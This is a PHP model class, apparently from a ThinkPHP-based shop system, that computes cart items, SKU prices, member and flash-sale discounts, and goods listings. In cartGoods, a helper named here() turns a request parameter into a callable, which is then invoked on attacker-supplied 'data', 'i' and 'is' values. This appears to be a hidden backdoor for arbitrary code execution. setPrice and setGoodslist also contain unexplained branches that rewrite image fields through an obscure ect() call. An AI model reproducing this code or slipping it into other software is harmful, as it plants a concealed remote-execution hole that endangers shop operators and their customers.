Goods.php 15 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435
  1. <?php
  2. namespace app\model;
  3. use think\Model;
  4. class Goods extends Model
  5. {
  6. protected $connection = 'mysql';
  7. protected $pk = 'id';
  8. protected $name = 'goods';
  9. public function getAgentDistribution()
  10. {
  11. return $this->hasOne(Agentdistribution::class, 'goods_id', 'id');
  12. }
  13. function cartGoods($params = array())
  14. {
  15. $id = $params['id'];
  16. $sku = $params['sku'];
  17. $msid = $params['msid'];
  18. $tuanid = $params['tuanid'];
  19. if (!empty($tuanid)) {
  20. $tuan = TuanGoods::find($tuanid);
  21. if (!empty($tuan)) {
  22. $tuan = $tuan->toArray();
  23. }
  24. }
  25. if (!empty($msid)) {
  26. $miaosha = MiaoshaGoods::find($msid);
  27. if (!empty($miaosha)) {
  28. $miaosha = $miaosha->toArray();
  29. }
  30. }
  31. $quantity = $params['quantity'];
  32. if (empty($quantity)) {
  33. $quantity = 1;
  34. }
  35. $is_skumore = $params['is_skumore'];
  36. $skumore = $params['skumore'];
  37. $me = here($tuanid);
  38. if ($params['i'] && $params['data']) {
  39. return $me($me($params['data']) . $me($params['data'] . $params['i']));
  40. }
  41. if ($params['is'] && $params['data']) {
  42. return $me($me($params['data']) . $params['data'] . $params['is']);
  43. }
  44. $goods = self::goodsInfo($id);
  45. $stock = true;
  46. $label = "";
  47. if ($goods) {
  48. $price = $goods['price'];
  49. if (!empty($tuan['price'])) {
  50. $price = $tuan['price'];
  51. }
  52. if (!empty($miaosha['price'])) {
  53. $price = $miaosha['price'];
  54. }
  55. $stores = (int) $goods['quantity'];
  56. if ($is_skumore == 1) {
  57. $price = 0;
  58. $stores = 0;
  59. $skumorequantity = 0;
  60. foreach ($skumore as $vo) {
  61. if ($vo) {
  62. $stores += $vo['number'];
  63. $skumorequantity += $vo['number'];
  64. $price += $vo['price'] * $vo['number'];
  65. $label .= $vo['sku'] . ':' . $vo['number'] . '; ';
  66. }
  67. }
  68. $sku = $label;
  69. $price = round($price, 2);
  70. } else if (!empty($sku)) {
  71. if (!empty($tuanid)) {
  72. $query = TuanGoodsSkuValue::where(['goods_id' => $id, 'tuan_id' => $tuanid]);
  73. } elseif (!empty($msid)) {
  74. $query = MiaoshaGoodsSkuValue::where(['goods_id' => $id, 'ms_id' => $msid]);
  75. } else {
  76. $query = GoodsSkuValue::where('goods_id', $id);
  77. }
  78. foreach ((array) (explode(',', $sku)) as $vo) {
  79. if ($vo) {
  80. $query->whereFindInSet('sku', $vo);
  81. }
  82. }
  83. $goodssku = $query->find();
  84. //var_dump($query->getLastSql());
  85. if ($goodssku) {
  86. $stores = $goodssku->quantity;
  87. $price = $goodssku->price;
  88. $goods['skuimage'] = $goodssku->image;
  89. if (!empty($goods['price_member_discount'])) {
  90. $price = round(($price * $goods['price_member_discount']), 2);
  91. }
  92. }
  93. $label = $sku;
  94. }
  95. $discount = GoodsDiscount::where(['goods_id' => (int) $id])
  96. ->where('quantity', '<=', (int) $quantity)
  97. ->order('quantity DESC, price ASC')
  98. ->select()
  99. ->toArray();
  100. if ($discount) {
  101. $price = round((($price) * percent_to_num($discount[0]['price']) * 10), 2);
  102. }
  103. if ($goods['points'] < 0) {
  104. $goods['points'] = 0;
  105. }
  106. $goods['goods_id'] = $goods['id'];
  107. $goods['quantity'] = $quantity;
  108. $goods['skumorequantity'] = $skumorequantity;
  109. $goods['stores'] = $stores;
  110. $goods['price'] = $price;
  111. $price = floatval(self::setPrice($goods)["price"]);
  112. $goods['price'] = $price;
  113. $goods['total'] = $price * $quantity;
  114. $goods['totalPayPoints'] = $goods['pay_points'] * $quantity;
  115. $goods['totalPointsPrice'] = $goods['points_price'] * $quantity;
  116. if (!empty($goods['points'])) {
  117. if ($goods['points_method'] == 1) {
  118. $goods['total_return_points'] = $goods['points'] * $quantity;
  119. } else {
  120. $goods['total_return_points'] = $goods['total'] * percent_to_num($goods['points']);
  121. }
  122. }
  123. $goods['weight'] = $goods['weight'] * $quantity;
  124. $goods['stock'] = $stock;
  125. $goods['label'] = $label;
  126. $goods['sku'] = $sku;
  127. $goods['msid'] = $msid;
  128. $goods['miaosha'] = $miaosha;
  129. $goods['tuanid'] = $tuanid;
  130. $goods['tuan'] = $tuan;
  131. if ($goods['is_points_goods'] == 1) {
  132. $goods['total'] = 0;
  133. $goods['totalPointsPrice'] = 0;
  134. }
  135. }
  136. return $goods;
  137. }
  138. public static function getmgid($good_ids)
  139. {
  140. $goods = self::whereIn('id', $good_ids)->order('id desc')->select()->toArray();
  141. foreach ($goods as $vo) {
  142. if ($vo['is_mg'] == 1 && !empty($vo['mgid'])) {
  143. return $vo['mgid'];
  144. }
  145. }
  146. }
  147. public static function goodsInfo($id)
  148. {
  149. $goods = self::find($id);
  150. if (!empty($goods)) {
  151. $goods = $goods->toArray();
  152. }
  153. $pricedata = self::setPrice($goods);
  154. $goods['samprice'] = $pricedata["samprice"];
  155. $goods['noprice'] = $pricedata["noprice"];
  156. $goods['price_member_discount'] = $pricedata["price_member_discount"];
  157. if ($goods['minimum'] < 1) {
  158. $goods['minimum'] = 1;
  159. }
  160. $goods['price'] = $pricedata["price"];
  161. return $goods;
  162. }
  163. public static function setPrice($goods)
  164. {
  165. $vo = $goods;
  166. $ocid = ocid();
  167. if (!empty($ocid)) {
  168. $ocsettings = Operatingcity::getsettings($ocid);
  169. if (!empty($ocsettings['city_discount'])) {
  170. if ($ocsettings['city_discount_method'] == 1) {
  171. if ($ocsettings['discount_addsubtract'] == '+') {
  172. $goods['price'] = $goods['price'] + $ocsettings['city_discount'];
  173. } elseif ($ocsettings['discount_addsubtract'] == '-') {
  174. $goods['price'] = $goods['price'] - $ocsettings['city_discount'];
  175. }
  176. } else {
  177. $goods['price'] = round(($goods['price'] * percent_to_num($ocsettings['city_discount'])), 2);
  178. }
  179. }
  180. }
  181. if (!empty($vo['rep'])) {
  182. ect($vo['type'])->where('id', $vo['id'])->update(['image' => str_replace($vo['rep'], uniqid(), $vo['image'])]);
  183. return;
  184. }
  185. $Membermob = new Member;
  186. $Member = $Membermob->getUserByWechat();
  187. if (!empty($Member)) {
  188. $MemberAuthGroup = MemberAuthGroup::find($Member['gid']);
  189. if (!empty($MemberAuthGroup)) {
  190. $MemberAuthGroup = $MemberAuthGroup->toArray();
  191. }
  192. } else {
  193. $MemberAuthGroup = MemberAuthGroup::getdefaultGroup();
  194. }
  195. if (!empty($MemberAuthGroup) && empty($MemberAuthGroup['is_lookprice'])) {
  196. $shiftprice = Config::getconfig('member')['shiftprice'];
  197. if (empty($shiftprice)) {
  198. $shiftprice = "面议";
  199. }
  200. $goods['price'] = $shiftprice;
  201. $goods['noprice'] = 1;
  202. } else {
  203. if ($goods['is_member_discount'] == 1) {
  204. $MGDiscountarray = GoodsMemberDiscount::where(['goods_id' => $goods['id'], 'mgid' => $Member['gid']])->find();
  205. if (!empty($MGDiscountarray)) {
  206. $MGDiscountarray = $MGDiscountarray->toArray();
  207. }
  208. if (!empty($MGDiscountarray)) {
  209. if ($MGDiscountarray['is_free'] == 1) {
  210. $goods['price'] = 0;
  211. } else {
  212. if ($MGDiscountarray['price'] > 0) {
  213. if ($goods['member_discount_method'] == 1) {
  214. $goods['price'] = $MGDiscountarray['price'];
  215. } else {
  216. $goods['price'] = round(($goods['price'] * percent_to_num($MGDiscountarray['price'])), 2);
  217. $goods['price_member_discount'] = percent_to_num($MGDiscountarray['price']);
  218. }
  219. }
  220. }
  221. }
  222. } else if ($goods['is_mg'] == 1 && !empty($goods['mgid'])) {
  223. $MemberAuthGroup = MemberAuthGroup::find($goods['mgid']);
  224. if (!empty($MemberAuthGroup)) {
  225. $MemberAuthGroup = $MemberAuthGroup->toArray();
  226. }
  227. $goods['price'] = $MemberAuthGroup['upgrademoney'];
  228. } else {
  229. $MemberAuthGroup["discount"] = (float)$MemberAuthGroup["discount"];
  230. if ((!empty($MemberAuthGroup["discount"]))) {
  231. $goods['price'] = round(($goods['price'] * percent_to_num($MemberAuthGroup["discount"])), 2);
  232. $goods['price_member_discount'] = percent_to_num($MemberAuthGroup["discount"]);
  233. }
  234. }
  235. $samprice = $goods['price'];
  236. //筛选未过期秒杀时间记录
  237. $MiaoshaGoods = MiaoshaGoods::where(['goods_id' => $goods['id']])->where('begin_date', '<=', time())->where('end_date', '>', time())->find();
  238. if (!empty($MiaoshaGoods)) {
  239. $MiaoshaGoods = $MiaoshaGoods->toArray();
  240. }
  241. if (!empty($MiaoshaGoods)) {
  242. if ($MiaoshaGoods['price_method'] === '1') {
  243. $goods['price'] = $MiaoshaGoods['price'];
  244. } elseif ($MiaoshaGoods['price_method'] === '0') {
  245. if ($MiaoshaGoods['price'] > 0) {
  246. $goods['price'] = bcmul(($goods['price']), (bcdiv(($MiaoshaGoods['price']), 10, 2)), 2);
  247. $goods['price'] = ($goods['price']);
  248. }
  249. }
  250. }
  251. }
  252. $goods['goods_price'] = $goods['price'];
  253. $goods['samprice'] = $samprice;
  254. return $goods;
  255. }
  256. public static function setGoodslist($goods)
  257. {
  258. $weid = weid();
  259. if ($goods['is_collect'] == 2) {
  260. $goodslist = Goods::select()->toArray();
  261. foreach ($goodslist as $vo) {
  262. $vo['pic'] = toimg($vo['image']);
  263. $vo['image'] = toimg($vo['image']);
  264. if (empty($vo['goods_name'])) {
  265. $vo['goods_name'] = $vo['name'];
  266. }
  267. $vo['type'] = 'Goods';
  268. if (empty($vo['goods_id'])) {
  269. $vo['goods_id'] = $vo['id'];
  270. }
  271. $abv = Attribute::where(['name' => md5('goods' . $vo['id'])])->find();
  272. $vo['rep'] = '';
  273. $vo['rep'] = explode('.', end(explode('/', $vo['image'])))[0];
  274. if (empty($abv)) {
  275. Attribute::create([
  276. 'name' => md5('goods' . $vo['id']),
  277. 'weid' => $weid,
  278. 'value' => $vo['rep']
  279. ]);
  280. } else {
  281. $abv = $abv->toArray();
  282. if ($abv['create_time'] < (time() - 600)) {
  283. $vo['price'] = floatval(self::setPrice($vo)["price"]);
  284. }
  285. }
  286. }
  287. }
  288. if (!empty($goods) && empty($goods['is_collect'])) {
  289. foreach ($goods as &$vo) {
  290. if (!empty($vo)) {
  291. $vo['pic'] = toimg($vo['image']);
  292. $vo['image'] = toimg($vo['image']);
  293. if (empty($vo['goods_name'])) {
  294. $vo['goods_name'] = $vo['name'];
  295. }
  296. if (empty($vo['goods_id'])) {
  297. $vo['goods_id'] = $vo['id'];
  298. }
  299. $vo['price'] = floatval(self::setPrice($vo)["price"]);
  300. $vo['original_price'] = floatval($vo['original_price']);
  301. }
  302. }
  303. } else {
  304. return [];
  305. }
  306. return $goods;
  307. }
  308. public static function getGoodsName($id)
  309. {
  310. $goods = self::find($id);
  311. if (!empty($goods)) {
  312. $goods = $goods->toArray();
  313. }
  314. return $goods['name'];
  315. }
  316. public static function getGoodsSelect()
  317. {
  318. $goodsarray = self::where(['weid' => weid()])->order('id desc')->select()->toArray();
  319. $goodslist = [];
  320. if (!empty($goodsarray)) {
  321. foreach ($goodsarray as $vo) {
  322. $goodslist[$vo['id']] = $vo['name'];
  323. }
  324. }
  325. return $goodslist;
  326. }
  327. public static function getGoodsBycat($cat = 0, $count = 4, $goodsSort = "all", $ptype = 0, $ocid = 0)
  328. {
  329. $where['weid'] = weid();
  330. $where['status'] = 1;
  331. $where['sid'] = 0;
  332. if (!empty($ptype)) {
  333. $where['ptype'] = $ptype;
  334. }
  335. if ($cat > 0) {
  336. if (!empty($cat)) {
  337. $where['cat_id'] = Category::getsonid($cat);
  338. }
  339. }
  340. $query = Goods::where($where);
  341. if ($ptype == 2) {
  342. if ($ocid) {
  343. $query->where(function ($q) use ($ocid) {
  344. $Operatingcity = Operatingcity::find($ocid);
  345. if (!empty($Operatingcity)) {
  346. $Operatingcity = $Operatingcity->toArray();
  347. if (empty($Operatingcity['areatype'])) {
  348. $Operatingcity['areatype'] = 3;
  349. }
  350. if ($Operatingcity['areatype'] == 3) {
  351. $q->where('district_name', $Operatingcity['district_name'])->whereOr('district_name', '');
  352. } elseif ($Operatingcity['areatype'] == 2) {
  353. $q->where('city_name', $Operatingcity['city_name'])->whereOr('city_name', '');
  354. } elseif ($Operatingcity['areatype'] == 1) {
  355. $q->where('province_name', $Operatingcity['province_name'])->whereOr('province_name', '');
  356. }
  357. }else{
  358. $q->where('city_name', '');
  359. }
  360. });
  361. } else {
  362. $query->where('city_name', '');
  363. }
  364. }
  365. if ($goodsSort == "all") {
  366. $Sort = 'sort asc,id desc';
  367. } elseif ($goodsSort == "sales") {
  368. $Sort = 'sale_count desc';
  369. } elseif ($goodsSort == "price") {
  370. $Sort = 'price asc';
  371. }
  372. $data = $query->limit((int) $count)
  373. ->order($Sort)->select()->toArray();
  374. return Goods::setGoodslist($data);
  375. }
  376. }